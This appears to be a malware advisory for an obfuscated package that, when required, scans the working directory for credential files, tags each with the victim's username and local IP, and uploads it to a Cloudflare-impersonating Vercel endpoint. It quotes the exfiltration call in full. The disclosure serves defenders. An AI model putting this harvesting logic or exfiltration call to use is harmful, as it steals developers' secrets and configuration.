GCVE-110-OSM-2026-3167

Exfiltrates credential and configuration files (.env, config.toml, id.json) from victim machines to an attacker-controlled Vercel endpoint at cloudflare-protection.vercel.app, fingerprinting victims by username and local IP before uploading each file. index.js is obfuscated with obfuscator-io-rotation-fragcode (52 decoded strings). At require-time, from_str() recursively scans process.cwd() for id.json, config.toml, Config.toml, .env, and env files using fs.readdirSync; collects victim username via process.env.USER and local IP via a UDP dgram socket connected to 8.8.8.8:80; prepends '{USER}@{localIP}\n' to each file; and exfiltrates via axios.post('https://cloudflare-protection.vercel.app/api/v1', data, {headers: {'Content-Type': 'application/octet-stream', 'Content-Disposition': 'attachment; filename={basename}'}}). The C2 domain impersonates the Cloudflare security brand. No install hook — fires when any code requires the package. sha256(index.js): 8bac2c5c0f311b9ea0848cc0132665003b47813a1f0b09646b989f7c32ec1a99. sha256(test.js): 58037c50d839733191310c97c1b38bf6313aa608cc27a570eaf1d7aeffa089cf.